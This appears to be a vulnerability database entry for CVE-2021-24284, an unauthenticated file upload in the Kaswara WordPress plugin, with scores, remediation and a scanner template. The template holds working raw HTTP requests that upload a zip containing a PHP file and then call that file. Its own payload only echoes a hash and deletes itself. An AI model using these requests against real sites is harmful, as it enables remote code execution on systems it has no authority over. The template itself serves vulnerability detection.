7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.967 High
EPSS
Percentile
99.7%
WordPress Kaswara Modern VC Addons plugin through 3.0.1 is susceptible to an arbitrary file upload. The plugin allows unauthenticated arbitrary file upload via the uploadFontIcon AJAX action, which can be used to obtain code execution. The supplied zipfile is unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.
id: CVE-2021-24284
info:
name: WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload
author: lamscun,pussycat0x,pdteam
severity: critical
description: |
WordPress Kaswara Modern VC Addons plugin through 3.0.1 is susceptible to an arbitrary file upload. The plugin allows unauthenticated arbitrary file upload via the uploadFontIcon AJAX action, which can be used to obtain code execution. The supplied zipfile is unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.
impact: |
Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected WordPress website.
remediation: |
Update to the latest version of Kaswara Modern VC Addons plugin (>=3.0.2) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/8d66e338-a88f-4610-8d12-43e8be2da8c5
- https://github.com/advisories/GHSA-wqvg-8q49-hjc7
- https://www.wordfence.com/blog/2021/04/psa-remove-kaswara-modern-wpbakery-page-builder-addons-plugin-immediately/
- https://www.waltermairena.net/en/2021/04/25/0-day-vulnerability-in-the-plugin-kaswara-modern-vc-addons-plugin-what-can-i-do/
- https://lifeinhex.com/kaswara-exploit-or-how-much-wordfence-cares-about-user-security/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24284
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24284
cwe-id: CWE-434
epss-score: 0.96712
epss-percentile: 0.99652
cpe: cpe:2.3:a:kaswara_project:kaswara:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: kaswara_project
product: kaswara
framework: wordpress
tags: cve2021,cve,intrusive,unauth,fileupload,wpscan,wordpress,wp-plugin,rce,wp,kaswara_project
variables:
zip_file: "{{to_lower(rand_text_alpha(6))}}"
php_file: "{{to_lower(rand_text_alpha(2))}}.php"
string: "CVE-2021-24284"
php_cmd: "<?php echo md5('{{string}}');unlink(__FILE__);?>"
http:
- raw:
- |
POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=------------------------d3be34324392a708
--------------------------d3be34324392a708
Content-Disposition: form-data; name="fonticonzipfile"; filename="{{zip_file}}.zip"
Content-Type: application/octet-stream
{{hex_decode('504B03040A0000000000FA73F454B2333E07140000001400000006001C00')}}{{php_file}}{{hex_decode('555409000366CBD76267CBD76275780B000104F50100000414000000')}}{{php_cmd}}{{hex_decode('0A504B01021E030A00000000002978F454E49BC1591300000013000000060018000000000001000000A48100000000')}}{{php_file}}{{hex_decode('555405000366CBD76275780B000104F50100000414000000504B050600000000010001004C000000530000000000')}}
--------------------------d3be34324392a708
Content-Disposition: form-data; name="fontsetname"
{{zip_file}}
--------------------------d3be34324392a708
Content-Disposition: form-data; name="action"
uploadFontIcon
--------------------------d3be34324392a708--
- |
GET /wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/{{php_file}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- "wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/style.css"
- type: word
part: body_2
words:
- '{{md5(string)}}'
- type: status
status:
- 200
# digest: 4b0a004830460221009371b523b1669469a857beaef1aa7cca089b04c5d3732af0838ecace130ab63a022100c53721068f94d8eaf4bf7473ffe743182b72091aef3768ae7efb13d76f3e5080:922c64590222798bb761d5b6d8e72950
github.com/advisories/GHSA-wqvg-8q49-hjc7
lifeinhex.com/kaswara-exploit-or-how-much-wordfence-cares-about-user-security/
nvd.nist.gov/vuln/detail/CVE-2021-24284
wpscan.com/vulnerability/8d66e338-a88f-4610-8d12-43e8be2da8c5
www.waltermairena.net/en/2021/04/25/0-day-vulnerability-in-the-plugin-kaswara-modern-vc-addons-plugin-what-can-i-do/
www.wordfence.com/blog/2021/04/psa-remove-kaswara-modern-wpbakery-page-builder-addons-plugin-immediately/
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.967 High
EPSS
Percentile
99.7%